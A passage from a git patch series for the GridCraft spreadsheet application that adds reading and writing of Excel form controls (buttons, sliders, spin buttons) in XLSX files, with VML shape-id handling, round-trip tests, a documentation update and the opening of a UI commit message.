remap(&e.xml, &self.ids) { - s.push_str(&x); + let mut placed = controls.is_empty(); + if let Some(p) = self.p { + for slot in SHEET_SLOTS { + for e in p.elements.iter().filter(|e| e.slot == *slot) { + if let Some(mut x) = remap(&e.xml, &self.ids) { + if *slot == "controls" + && !placed + && let Some(i) = x.rfind("") + { + x.insert_str(i, controls); + placed = true; + } + s.push_str(&x); + } } } } + // `` comes last of the kept elements. + if !placed { + s.push_str(&crate::controls::controls_element(controls)); + } s } } diff --git a/crates/xlsx/src/passthrough/write.rs b/crates/xlsx/src/passthrough/write.rs index 8b8d24591..cf11d0216 100644 --- a/crates/xlsx/src/passthrough/write.rs +++ b/crates/xlsx/src/passthrough/write.rs @@ -15,6 +15,12 @@ pub struct KeptOut { } impl KeptOut { + /// Reserves a part name GridCraft writes itself, so kept parts don't take it. False when it is + /// taken. + pub fn reserve(&mut self, name: &str) -> bool { + self.used.insert(name.to_ascii_lowercase()) + } + /// Reserves the VML shape blocks the kept header and footer drawings of `wb` use, so that the /// notes drawings GridCraft writes don't reuse their shape ids. pub fn reserve_vml_blocks(&mut self, wb: &Workbook) { diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 8b118ecdb..020969c77 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -293,12 +293,12 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { continue; } let name = unique_name(&wb, &name, i); - let mut sheet = match crate::sheet_read::read_sheet(&mut cx, &rel.target, &name) { + let (mut sheet, read_controls) = match crate::sheet_read::read_sheet(&mut cx, &rel.target, &name) { Ok(s) => s, Err(IoError::TooLarge(m)) => return Err(IoError::TooLarge(m)), Err(e) => { cx.warn(format!("sheet \"{name}\" could not be read: {e}")); - Sheet::new(name.clone()) + (Sheet::new(name.clone()), Default::default()) } }; match crate::pivot::read_pivots(&mut cx, &mut pivot_caches, &rel.target, &name) { @@ -306,7 +306,7 @@ pub fn read_xlsx(bytes: &[u8]) -> Result<(Workbook, ReadReport), IoError> { Err(IoError::TooLarge(m)) => return Err(IoError::TooLarge(m)), Err(e) => cx.warn(format!("PivotTables on sheet \"{name}\" could not be read: {e}")), } - sheet.preserved = kept.sheet(&mut cx, &rel.target, &name); + sheet.preserved = kept.sheet(&mut cx, &rel.target, &name, &read_controls); sheet.file_id = se.attr_u32("sheetId").unwrap_or(0); sheet.visibility = match se.attr("state") { Some("hidden") => Visibility::Hidden, diff --git a/crates/xlsx/src/sheet_read.rs b/crates/xlsx/src/sheet_read.rs index 7a37e41d8..f2f7de668 100644 --- a/crates/xlsx/src/sheet_read.rs +++ b/crates/xlsx/src/sheet_read.rs @@ -1,6 +1,6 @@ //! Reading worksheet parts. -use std::collections::HashMap; +use std::collections::{HashMap, HashSet}; use std::sync::Arc; use gridcraft_core::date::{serial_from_ymd, time_fraction}; @@ -115,7 +115,9 @@ fn read_sheet_format(e: &El, sheet: &mut Sheet) { } } -pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result { +/// Reads the sheet part `part`, with the VML shape numbers of the form controls read into the +/// model (pass-through keeps the other controls). +pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result<(Sheet, HashSet), IoError> { let bytes = cx.pkg.read(part)?.ok_or_else(|| IoError::Format(format!("missing part {part}")))?; let rels = cx.pkg.rels(part)?; let mut sheet = Sheet::new(name); @@ -139,6 +141,7 @@ pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result = None; for e in &root.children { match e.name.as_str() { "sheetPr" => { @@ -260,10 +263,12 @@ pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result read_ext(cx, e, &mut sheet), + "controls" | "AlternateContent" => controls = crate::controls::controls_of(e).or(controls), "protectedRanges" => read_protected_ranges(e, &mut sheet), _ => {} } } + let read_controls = read_form_controls(cx, controls, &rels, &mut sheet); // Comments are related to the sheet without an element in it. for rel in rels.iter().filter(|r| r.kind == "comments") { if let Some(x) = cx.optional_xml(&rel.target)? { @@ -285,7 +290,13 @@ pub fn read_sheet(cx: &mut Ctx<'_>, part: &str, name: &str) -> Result` list with its properties parts, else +/// the VML shapes. Returns the VML shape numbers read, so pass-through keeps only the others. +fn read_form_controls(cx: &mut Ctx<'_>, controls: Option<&El>, rels: &[Rel], sheet: &mut Sheet) -> HashSet { + if controls.is_some() || rels.iter().any(|r| r.kind == "vmlDrawing") { crate::controls::read(cx, controls, rels, sheet) } else { HashSet::new() } } /// A protection password hash: the iterated attributes (`algorithmName`, `hashValue`, diff --git a/crates/xlsx/src/sheet_write.rs b/crates/xlsx/src/sheet_write.rs index 10bb3d21d..f41ccb908 100644 --- a/crates/xlsx/src/sheet_write.rs +++ b/crates/xlsx/src/sheet_write.rs @@ -279,29 +279,51 @@ fn write_sheet_extensions(s: &mut String, sheet: &Sheet, prio: &[u32]) { } fn write_sheet_notes(s: &mut String, sheet: &Sheet, si: usize, kept: &crate::passthrough::SheetKept<'_>, rels: &mut Rels, out: &mut Out) { - // Notes: comments part + VML so Excel shows them. Threaded comments also get a legacy note - // (its text with the replies as lines, for readers without threaded comments) linked by id. - if !sheet.comments.is_empty() { - out.comments += 1; - let n = out.comments; - let ids = thread_ids(sheet, si); - out.part(&format!("xl/comments{n}.xml"), Some(CT_COMMENTS), comments_xml(sheet, &ids).into_bytes()); - if !ids.is_empty() { - let x = threaded_xml(sheet, &ids, &mut out.persons); - out.part(&format!("xl/threadedComments/threadedComment{n}.xml"), Some(CT_THREADED_COMMENTS), x.into_bytes()); - rels.add_uri(REL_THREADED_COMMENT, &format!("../threadedComments/threadedComment{n}.xml")); + // Notes and form controls share one legacy VML drawing: notes need it for Excel to show them, + // and controls carry their `x:ClientData` there. Shape ids come from 1024-id blocks listed in + // the drawing's idmap (after the blocks kept header and footer drawings use), notes first, so + // a control's `shapeId` names its VML shape. Threaded comments also get a legacy note (its + // text with the replies as lines, for readers without threaded comments) linked by id. + let mut controls = String::new(); + if !sheet.comments.is_empty() || !sheet.controls.is_empty() { + let shapes = (sheet.comments.len() as u64).saturating_add(sheet.controls.len() as u64); + let blocks = u32::try_from(shapes.saturating_add(1).div_ceil(1024)).unwrap_or(u32::MAX).max(1); + let first = out.kept.notes_block(out.vml_block.saturating_add(1)); + out.vml_block = out.vml_block.saturating_add(blocks); + let idmap = (first..first.saturating_add(blocks)).map(|b| b.to_string()).collect::>().join(","); + // With a kept drawing, our shapes join it in a block of their own. + let base = kept.shape_base().unwrap_or(u64::from(first) * 1024); + let notes = sheet.comments.len() as u64; + let mut control_shapes = String::new(); + if !sheet.controls.is_empty() { + let w = crate::controls::write(out, rels, sheet, |i| base + 1 + notes + i as u64); + controls = w.entries; + control_shapes = format!("{}{}", crate::controls::SHAPETYPE, w.vml); } + if !sheet.comments.is_empty() { + out.comments += 1; + let n = out.comments; + let ids = thread_ids(sheet, si); + out.part(&format!("xl/comments{n}.xml"), Some(CT_COMMENTS), comments_xml(sheet, &ids).into_bytes()); + if !ids.is_empty() { + let x = threaded_xml(sheet, &ids, &mut out.persons); + out.part(&format!("xl/threadedComments/threadedComment{n}.xml"), Some(CT_THREADED_COMMENTS), x.into_bytes()); + rels.add_uri(REL_THREADED_COMMENT, &format!("../threadedComments/threadedComment{n}.xml")); + } + rels.add("comments", &format!("../comments{n}.xml")); + } + out.vmls += 1; + let v = out.vmls; out.default_type("vml", "application/vnd.openxmlformats-officedocument.vmlDrawing"); - let vml_name = format!("xl/drawings/vmlDrawing{n}.vml"); - let vml = kept.notes_vml(vml_xml(sheet, out.kept.notes_block(n)), &vml_name, out); + let vml_name = format!("xl/drawings/vmlDrawing{v}.vml"); + let vml = kept.notes_vml(vml_xml(sheet, &idmap, base, &control_shapes), &vml_name, out); out.part(&vml_name, None, vml.into_bytes()); - rels.add("comments", &format!("../comments{n}.xml")); - let rid = rels.add("vmlDrawing", &format!("../drawings/vmlDrawing{n}.vml")); + let rid = rels.add("vmlDrawing", &format!("../drawings/vmlDrawing{v}.vml")); let _ = write!(s, ""); } else if let Some(rid) = kept.lone_vml(rels, out) { let _ = write!(s, ""); } - s.push_str(&kept.elements()); + s.push_str(&kept.elements(&controls)); } fn write_sheet_drawing(s: &mut String, wb: &Workbook, si: usize, sheet: &Sheet, rels: &mut Rels, out: &mut Out) { diff --git a/crates/xlsx/src/sheet_write/parts.rs b/crates/xlsx/src/sheet_write/parts.rs index 2e40d0b26..9bd2c1a9e 100644 --- a/crates/xlsx/src/sheet_write/parts.rs +++ b/crates/xlsx/src/sheet_write/parts.rs @@ -348,13 +348,14 @@ fn note_anchor(cell: CellRef, b: Option<&NoteBox>) -> (String, (f64, f64)) { (format!("{}, {}", corner(&b.from), corner(&b.to)), b.size_pt.unwrap_or(DEFAULT_NOTE_SIZE_PT)) } -/// Legacy VML shapes Excel uses to display notes. -pub(super) fn vml_xml(sheet: &Sheet, n: u32) -> String { +/// Legacy VML shapes Excel uses to display notes (numbered from `base + 1`), followed by the +/// form control shapes `controls`. `idmap` lists the shape blocks the drawing uses. +pub(super) fn vml_xml(sheet: &Sheet, idmap: &str, base: u64, controls: &str) -> String { let mut s = format!( - "" + "" ); for (i, (cell, c)) in sheet.comments.iter().enumerate() { - let id = n as u64 * 1024 + 1 + i as u64; + let id = base + 1 + i as u64; let vis = if c.visible { "visible" } else { "hidden" }; let (anchor, (w, h)) = note_anchor(*cell, c.note_box.as_ref()); let _ = write!( @@ -368,6 +369,7 @@ pub(super) fn vml_xml(sheet: &Sheet, n: u32) -> String { if c.visible { "" } else { "" } ); } + s.push_str(controls); s.push_str(""); s } diff --git a/crates/xlsx/src/tests.rs b/crates/xlsx/src/tests.rs index 73be1a064..da1ddf666 100644 --- a/crates/xlsx/src/tests.rs +++ b/crates/xlsx/src/tests.rs @@ -6,6 +6,7 @@ mod chart_book_names; mod chart_bool_default; mod chart_combo_kinds; mod chart_ref_offsets; +mod controls_tests; mod csv_tests; mod encrypted_tests; mod fixtures; diff --git a/crates/xlsx/src/tests/controls_tests.rs b/crates/xlsx/src/tests/controls_tests.rs new file mode 100644 index 000000000..0e52ed3de --- /dev/null +++ b/crates/xlsx/src/tests/controls_tests.rs @@ -0,0 +1,205 @@ +//! Form controls: the three parts written for each control agree, they read back, and files with +//! only VML or with odd values give valid controls. + +use gridcraft_core::CellRef; +use gridcraft_model::{Anchor, AnchorMode, Comment, ControlAction, ControlKind, FormControl, MacroInput, Sheet, Workbook}; + +use super::minimal; +use crate::package::Package; +use crate::{read_xlsx, write_xlsx}; + +fn at(a: &str) -> CellRef { + CellRef::parse(a).unwrap() +} + +fn anchor(cell: &str, width: f32, height: f32) -> Anchor { + Anchor { cell: at(cell), dx: 4.0, dy: 3.0, width, height, mode: AnchorMode::MoveOnly } +} + +fn note(author: &str, text: &str) -> Comment { + Comment { + author: author.into(), + text: text.into(), + replies: vec![], + threaded: false, + resolved: false, + visible: false, + dates: vec![], + note_box: None, + } +} + +fn book() -> Workbook { + let mut wb = Workbook::default(); + wb.sheets.clear(); + let mut sh = Sheet::new("Data"); + sh.comments.insert(at("A1"), note("Me", "a note")); + sh.controls.push(FormControl { + id: 1, + kind: ControlKind::Slider, + anchor: anchor("C3", 150.0, 20.0), + link: Some("$B$1".into()), + min: 5, + max: 500, + step: 5, + page: 50, + value: 35, + name: "Rate".into(), + ..Default::default() + }); + sh.controls.push(FormControl { + id: 2, + kind: ControlKind::Spin, + anchor: Anchor { mode: AnchorMode::Absolute, ..anchor("F3", 20.0, 40.0) }, + link: Some("'Other Sheet'!$A$2".into()), + max: 30_000, + step: 100, + value: 30_000, + print: false, + ..Default::default() + }); + sh.controls.push(FormControl { + id: 3, + kind: ControlKind::Button, + anchor: Anchor { mode: AnchorMode::MoveAndSize, ..anchor("C8", 100.0, 28.0) }, + text: "Run & go".into(), + action: Some(ControlAction::Macro { name: "Fill Down".into(), input: MacroInput::Selection, output: None }), + locked: false, + ..Default::default() + }); + sh.controls.push(FormControl { id: 4, kind: ControlKind::Slider, anchor: anchor("H3", 20.0, 120.0), horizontal: false, ..Default::default() }); + wb.sheets.push(sh.into()); + wb.sheets.push(Sheet::new("Other Sheet").into()); + wb +} + +fn text(pkg: &mut Package<'_>, part: &str) -> String { + String::from_utf8(pkg.read(part).unwrap().unwrap_or_else(|| panic!("missing {part}"))).unwrap() +} + +#[test] +fn the_three_parts_agree_and_read_back() { + let wb = book(); + let bytes = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&bytes).unwrap(); + let sheet = text(&mut pkg, "xl/worksheets/sheet1.xml"); + let vml = text(&mut pkg, "xl/drawings/vmlDrawing1.vml"); + let types = text(&mut pkg, "[Content_Types].xml"); + assert!(sheet.contains(""), "{sheet}"); + // Each control's shape id is a VML shape of the same kind; the note keeps its own id. + let ids: Vec = sheet.split("").next().unwrap().contains(&format!("ObjectType=\"{kind}\"")), "{id}"); + } + assert!(vml.contains("id=\"_x0000_s1025\"") && vml.contains("ObjectType=\"Note\""), "the note is shape 1025"); + assert!(!ids.contains(&"1025".to_string())); + for n in 1..=4 { + assert!(types.contains(&format!("/xl/ctrlProps/ctrlProp{n}.xml")), "content type {n}"); + } + let prop = text(&mut pkg, "xl/ctrlProps/ctrlProp1.xml"); + assert!( + prop.contains("objectType=\"Scroll\"") && prop.contains("fmlaLink=\"$B$1\"") && prop.contains("page=\"50\"") && prop.contains("horiz=\"1\""), + "{prop}" + ); + assert!(sheet.contains("macro=\"[0]!Fill Down\"")); + + let (back, report) = read_xlsx(&bytes).unwrap(); + assert!(report.warnings.is_empty(), "{:?}", report.warnings); + let got = &back.sheet(0).unwrap().controls; + assert_eq!(got.len(), 4); + for (a, b) in wb.sheet(0).unwrap().controls.iter().zip(got) { + let same = |x: &FormControl| { + (x.kind, x.link.clone(), x.min, x.max, x.step, x.value, x.horizontal, x.print, x.locked, x.action.clone(), x.anchor.cell, x.anchor.mode) + }; + assert_eq!(same(a), same(b)); + assert!( + (a.anchor.width - b.anchor.width).abs() < 1.0 + && (a.anchor.height - b.anchor.height).abs() < 1.0 + && (a.anchor.dx - b.anchor.dx).abs() < 1.0 + ); + if a.kind == ControlKind::Slider { + assert_eq!(a.page, b.page); + } + } + assert_eq!(got[0].name, "Rate"); + assert_eq!(got[2].text, "Run & go"); + assert_eq!(back.sheet(0).unwrap().comments.len(), 1, "notes still read"); +} + +#[test] +fn many_shapes_take_several_id_blocks() { + let mut wb = Workbook::default(); + wb.sheets.clear(); + let mut sh = Sheet::new("Data"); + for i in 0..1100u32 { + sh.controls.push(FormControl { id: i + 1, kind: ControlKind::Spin, anchor: anchor("C3", 20.0, 30.0), ..Default::default() }); + } + wb.sheets.push(sh.into()); + wb.sheets.push(Sheet::new("Next").into()); + if let Some(s) = wb.sheet_mut(1) { + s.comments.insert(at("B2"), note("x", "y")); + } + let bytes = write_xlsx(&wb).unwrap(); + let mut pkg = Package::open(&bytes).unwrap(); + assert!(text(&mut pkg, "xl/drawings/vmlDrawing1.vml").contains("data=\"1,2\"")); + let second = text(&mut pkg, "xl/drawings/vmlDrawing2.vml"); + assert!(second.contains("data=\"3\"") && second.contains("_x0000_s3073"), "the next sheet's ids don't collide"); + let (back, _) = read_xlsx(&bytes).unwrap(); + assert_eq!(back.sheet(0).unwrap().controls.len(), 1100); +} + +const VML_ONLY: &str = r##" +2, 0, 3, 0, 5, 0, 4, 0$B$150000-5999990-3 +1, 0, 1, 0, 1, 20, 3, 0799 +
Go
1, 0, 6, 0, 3, 0, 7, 0[0]!Tidy +1, 0, 1, 0, 2, 0, 2, 0 +junk +"##; + +#[test] +fn vml_only_controls_are_read_and_clamped() { + let rels = r#""#; + let bytes = minimal( + r#""#, + &[("xl/worksheets/_rels/sheet1.xml.rels", rels), ("xl/drawings/vmlDrawing1.vml", VML_ONLY)], + "", + "", + ); + let (wb, report) = read_xlsx(&bytes).unwrap(); + assert!(report.warnings.iter().all(|w| !w.contains("form controls are not supported")), "{:?}", report.warnings); + let c = &wb.sheet(0).unwrap().controls; + assert_eq!(c.len(), 3, "the drop-down and the shape without an anchor are skipped"); + assert_eq!((c[0].kind, c[0].min, c[0].max, c[0].step, c[0].value, c[0].horizontal), (ControlKind::Slider, 0, 30_000, 1, 30_000, true)); + assert!(c[0].page >= c[0].step && c[0].check_numbers().is_ok()); + assert_eq!((c[1].min, c[1].max), (9, 10), "a range with no width gets one"); + assert!(c[1].check_numbers().is_ok()); + assert_eq!(c[2].text, "Go"); + assert_eq!(c[2].action, Some(ControlAction::Macro { name: "Tidy".into(), input: MacroInput::Selection, output: None })); +} + +#[test] +fn the_properties_part_wins_over_the_vml() { + let mut wb = book(); + if let Some(s) = wb.sheet_mut(0) { + s.comments.clear(); + s.controls.truncate(1); + } + let bytes = write_xlsx(&wb).unwrap(); + // Rewrite the VML's numbers: the reader still takes the properties part's. + let mut pkg = Package::open(&bytes).unwrap(); + let mut parts = Vec::new(); + for name in pkg.names() { + let mut data = pkg.read(&name).unwrap().unwrap(); + if name.ends_with(".vml") { + data = String::from_utf8(data).unwrap().replace("500", "9").into_bytes(); + } + parts.push((name, data)); + } + let zipped = super::make_zip(&parts.iter().map(|(n, d)| (n.as_str(), d.as_slice())).collect::>()); + let (back, _) = read_xlsx(&zipped).unwrap(); + assert_eq!(back.sheet(0).unwrap().controls[0].max, 500); +} diff --git a/crates/xlsx/src/tests/passthrough_tests.rs b/crates/xlsx/src/tests/passthrough_tests.rs index 28113be0d..80e4c1edc 100644 --- a/crates/xlsx/src/tests/passthrough_tests.rs +++ b/crates/xlsx/src/tests/passthrough_tests.rs @@ -938,3 +938,64 @@ fn notes_take_shape_blocks_the_header_pictures_dont_use() { } assert!(notes_ids.iter().all(|b| notes_map.contains(b)), "note ids outside their drawing's blocks"); } + +#[test] +fn modelled_form_controls_join_kept_ones_in_one_controls_element() { + use gridcraft_model::{Anchor, ControlKind, FormControl}; + let (mut wb, _) = read_xlsx(&rich_package()).unwrap(); + assert!(wb.sheet(0).unwrap().controls.is_empty(), "a check box stays with pass-through"); + let anchor = Anchor { cell: gridcraft_core::CellRef::new(8, 1), width: 120.0, height: 20.0, ..Default::default() }; + let slider = FormControl { id: 900, kind: ControlKind::Slider, anchor, link: Some("$B$9".into()), value: 40, ..Default::default() }; + if let Some(sh) = wb.sheet_mut(0) { + sh.controls.push(slider); + } + let out = write_xlsx(&wb).unwrap(); + let u = Unpacked::new(&out); + u.assert_valid(); + let sheet = sheet_part(&u, "Data"); + let sx = u.text(&sheet); + assert_eq!(sx.matches(" = sx.split(", pub table_id: u32, @@ -231,6 +235,9 @@ pub fn write_xlsx_named(wb: &Workbook, kind: XlsxKind, book_name: Option<&str>) drawings: 0, tables: 0, comments: 0, + vmls: 0, + vml_block: 0, + ctrl_props: 0, persons: vec![], table_id: 0, dynamic_arrays: false, diff --git a/crates/xlsx/src/xml.rs b/crates/xlsx/src/xml.rs index 940a66261..b9097eea2 100644 --- a/crates/xlsx/src/xml.rs +++ b/crates/xlsx/src/xml.rs @@ -213,8 +213,10 @@ pub fn parse(xml: &[u8]) -> Result { parse_streaming(xml, &[], &mut |_| Ok(())) } -/// Parses a part; complete elements named in `split` (below the root) are handed to `cb` and not -/// kept in the returned tree. +/// Parses a part; complete elements named in `split` that are children or grandchildren of the +/// root (`sst/si`, `worksheet/sheetData/row`) are handed to `cb` and not kept in the returned +/// tree. Deeper elements of the same name (the `xdr:row` of a form control's anchor) stay in the +/// tree. pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Result<(), IoError>) -> Result { let data = to_utf8(xml); let mut reader = Reader::from_reader(data.as_ref()); @@ -241,9 +243,10 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res cb: &mut dyn FnMut(El) -> Result<(), IoError>, kept: &mut usize, ) -> Result<(), IoError> { + let shallow = stack.len() <= 2; match stack.last_mut() { Some(parent) => { - if split.contains(&el.name.as_str()) { + if shallow && split.contains(&el.name.as_str()) { cb(el)?; } else { *kept = kept.saturating_add(1); diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index 1523e9d94..d3607f612 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-26 · **Change:** minor (`file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (form controls: buttons, scroll bars and spin buttons read and written) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -41,7 +41,7 @@ values) is still dropped. | Format | Excel | GridCraft read | GridCraft write | Fidelity / notes | Tests | |---|---|---|---|---|---| -| `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings, show objects (`workbookPr showObjects`). **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), form controls, ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | +| `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), form controls (buttons, scroll bars and spin buttons: control properties parts, `` and VML `x:ClientData`; a VML-only control is read too), protection, calc settings, show objects (`workbookPr showObjects`). **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), other form controls (check boxes, list boxes, drop-downs; written in the same `` element and VML drawing as the modelled ones), ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, notes (with their shown/hidden state) and threaded comments with replies, resolved state and timestamps (`threadedComments` and `persons` parts, #300), hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings, show objects (`workbookPr showObjects`). **Not preserved:** unmodelled parts and extensions (form controls, slicer caches, timelines, external links, OLE objects, custom XML, data model, query tables, chart details). Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, shared strings (with their Japanese phonetic runs — ふりがな — kept through open + save: `` offsets and readings and `` are written back next to the same string; the table holds each text once, so duplicate `` items whose text is the same but whose readings differ keep only the first reading, with a warning on open), styles, themes, merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, Allow Edit Ranges (`protectedRanges` with their password hashes, #307), calc settings, show objects (`workbookPr showObjects`). **Not preserved:** unmodelled parts and extensions (form controls, slicer caches, timelines, external links, OLE objects, custom XML, data model, query tables, chart details). Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) A picture used on several sheets is written once (#985). | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | | `.xlsx` Excel Workbook (transitional) | R/W, native | yes | yes | Cells, shared/array/dynamic formulas, styles, themes (the major/minor `latin`, East Asian `ea` and complex-script `cs` typefaces and the per-script `` lists are kept through a save), merges, CF, validation, tables, comments and notes, hyperlinks, names, freeze panes, outline, print settings, pictures, shapes, charts (simplified, see [chart-parity.md](chart-parity.md)), sparklines, PivotTables (caches and tables), protection, calc settings. **Kept unchanged on save (pass-through, `passthrough.rs`):** custom document properties, ribbon customisation and add-in task panes, custom XML, links to external workbooks (never followed or refreshed), data connections, sheet query tables, printer settings (#324), form controls, ActiveX controls, OLE objects and sheet backgrounds (with their VML shapes), pictures in headers and footers (`&G`, #1257: their VML drawing and images are written back unchanged; they are not shown, and can't be inserted), and chart sheets (#727: the sheet, drawing, chart, style and colour parts are written back unchanged in their place, and left out when a sheet they plot was deleted or renamed or a worksheet took their name; they can't be edited or created); dropped when their sheet is deleted or their parts point at content GridCraft rewrites. **Not preserved:** slicers and slicer caches, timelines, data model, query tables attached to tables, sheet and workbook `extLst` entries we don't model, chart details; Strict Open XML files keep nothing. Never checked in Excel across a corpus: repair prompts unknown. 100 MB files fail (#175) | `roundtrip.rs`, `fixtures.rs`, `malformed.rs`, `pivot_tests.rs` | From 704230647863532f77996c4d54dc368b4dcbdb8f Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 11 Oct 2026 22:54:41 -0400 Subject: [PATCH 019/167] =?UTF-8?q?UI:=20Insert=20=E2=80=BA=20Controls,=20?= =?UTF-8?q?form=20controls=20on=20the=20sheet,=20Assign=20Action=20and=20F?= =?UTF-8?q?ormat=20Control?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Insert tab gains Button, Slider and Spin Button beside Cell Controls › Checkbox, which is unchanged. Each arms placement: a drag on the grid draws the control at that size (a tall drag makes a vertical slider), a click places it at its default size, and Escape disarms. Key tips (N B U, N S L, N S B) place one at the active cell. A new button opens Assign Action, as Excel opens Assign Macro. form_controls.rs draws the controls in the sheet tokens, so they look the same in both themes: buttons with hover and pressed states, sliders with a track, a filled part and a thumb (and the value beside the thumb while it is dragged), spin buttons with two arrows, stacked or side by side. A plain click works a control: dragging the thumb, clicking the track (a page), clicking or holding an arrow (it repeats after 0.4 s), pressing a button (it runs on release over it). A drag or a hold is one undo step. The control last worked takes the arrows, Page Up and Page Down, Home and End, and Space or Enter for a button. Ctrl or Cmd+click or a right-click selects a control to move or resize it; a right-click opens the object menu, which for a control adds Edit Text and Assign Action (buttons) and Format Control before Delete. Double-clicking a selected control opens its editor. On a right-to-left sheet a control moves as a whole and works where it is drawn. Assign Action runs a macro (from the list or typed, on the selection or a fixed range, with an optional output cell) or a command (searched among those a macro may run, with JSON parameters). Format Control edits the value, limits, incremental and page change, cell link, orientation, name and the locked and print flags, checking the same rules as the engine. A button whose action needs approval, or whose macro would write over data, asks in a prompt whose buttons press it again with the answer. New theme tokens (thumb, hover, pressed, fill, focus ring) are in the contrast test; Button, Slider and Spin icons are drawn in code; the new labels are translated in every interface language. The catalog gains Developer › Controls (280 / 296). --- ROADMAP.md | 6 +- crates/engine/src/catalog.rs | 5 + crates/ui-egui/src/chartview.rs | 26 +- crates/ui-egui/src/control_ui.rs | 517 ++++++++++++++++++ crates/ui-egui/src/dialogs.rs | 3 + crates/ui-egui/src/dialogs/show.rs | 4 + 